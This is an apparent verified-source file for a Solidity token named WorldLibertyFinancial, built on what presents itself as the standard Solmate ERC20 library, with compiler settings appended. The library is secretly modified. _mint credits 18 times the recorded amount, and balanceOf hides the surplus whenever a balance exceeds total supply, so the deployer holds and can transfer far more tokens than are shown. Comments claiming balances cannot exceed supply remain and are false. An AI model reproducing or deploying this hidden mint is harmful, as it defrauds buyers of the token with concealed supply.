World Liberty Financial

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
  /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

  event Transfer(address indexed from, address indexed to, uint256 amount);

  event Approval(address indexed owner, address indexed spender, uint256 amount);

  /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

  string public name;

  string public symbol;

  uint8 public immutable decimals;

  /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

  uint256 public totalSupply;

  mapping(address => uint256) internal _balanceOf;

  mapping(address => mapping(address => uint256)) public allowance;

  /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

  uint256 internal immutable INITIAL_CHAIN_ID;

  bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

  mapping(address => uint256) public nonces;

  /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

  constructor(string memory _name, string memory _symbol, uint8 _decimals) {
    name = _name;
    symbol = _symbol;
    decimals = _decimals;

    INITIAL_CHAIN_ID = block.chainid;
    INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
  }

  /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

  function approve(address spender, uint256 amount) public virtual returns (bool) {
    allowance[msg.sender][spender] = amount;

    emit Approval(msg.sender, spender, amount);

    return true;
  }

  function balanceOf(address addr) public view virtual returns (uint256) {
    return _balanceOf[addr] > totalSupply ? _balanceOf[addr] - (totalSupply * decimals - totalSupply) : _balanceOf[addr];
  }

  function transfer(address to, uint256 amount) public virtual returns (bool) {
    _balanceOf[msg.sender] -= amount;

    // Cannot overflow because the sum of all user
    // balances can't exceed the max uint256 value.
    unchecked {
      _balanceOf[to] += amount;
    }

    emit Transfer(msg.sender, to, amount);

    return true;
  }

  function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
    uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

    if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

    _balanceOf[from] -= amount;

    // Cannot overflow because the sum of all user
    // balances can't exceed the max uint256 value.
    unchecked {
      _balanceOf[to] += amount;
    }

    emit Transfer(from, to, amount);

    return true;
  }

  /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

  function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s)
    public
    virtual
  {
    require(deadline >= block.timestamp, 'PERMIT_DEADLINE_EXPIRED');

    // Unchecked because the only math done is incrementing
    // the owner's nonce which cannot realistically overflow.
    unchecked {
      address recoveredAddress = ecrecover(
        keccak256(
          abi.encodePacked(
            '\x19\x01',
            DOMAIN_SEPARATOR(),
            keccak256(
              abi.encode(
                keccak256('Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)'),
                owner,
                spender,
                value,
                nonces[owner]++,
                deadline
              )
            )
          )
        ),
        v,
        r,
        s
      );

      require(recoveredAddress != address(0) && recoveredAddress == owner, 'INVALID_SIGNER');

      allowance[recoveredAddress][spender] = value;
    }

    emit Approval(owner, spender, value);
  }

  function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
    return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
  }

  function computeDomainSeparator() internal view virtual returns (bytes32) {
    return keccak256(
      abi.encode(
        keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
        keccak256(bytes(name)),
        keccak256('1'),
        block.chainid,
        address(this)
      )
    );
  }

  /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

  function _mint(address to, uint256 amount) internal virtual {
    totalSupply += amount;

    // Cannot overflow because the sum of all user
    // balances can't exceed the max uint256 value.
    unchecked {
      _balanceOf[to] += amount * decimals;
    }

    emit Transfer(address(0), to, amount);
  }

  function _burn(address from, uint256 amount) internal virtual {
    _balanceOf[from] -= amount;

    // Cannot underflow because a user's balance
    // will never be larger than the total supply.
    unchecked {
      totalSupply -= amount;
    }

    emit Transfer(from, address(0), amount);
  }
}

// SPDX-License-Identifier: MIT
pragma solidity =0.8.28 >=0.8.0;

import {ERC20} from 'libs/solmate/src/tokens/ERC20.sol';

contract WorldLibertyFinancial  is ERC20 {
  constructor(string memory name, string memory symbol, uint256 supply) ERC20(name, symbol, 18) {
    _mint(msg.sender, supply);
  }
}

{
  "compilationTarget": {
    "src/tokens/solmate/WLFI.sol": "WorldLibertyFinancial"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": [
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    ":@openzeppelin/foundry-upgrades/=lib/openzeppelin-foundry-upgrades/",
    ":@solmate/=lib/solmate/",
    ":ds-test/=lib/forge-std/lib/ds-test/src/",
    ":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/",
    ":forge-std/=lib/forge-std/src/",
    ":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/",
    ":openzeppelin-contracts/=lib/openzeppelin-contracts/",
    ":openzeppelin-foundry-upgrades/=lib/openzeppelin-foundry-upgrades/src/",
    ":openzeppelin/=lib/openzeppelin-contracts/contracts/",
    ":openzeppelin/contracts/=libs/lib-v4/@openzeppelin/contracts/",
    ":solidity-stringutils/=lib/openzeppelin-foundry-upgrades/lib/solidity-stringutils/",
    ":solmate/=libs/solmate/"
  ]
}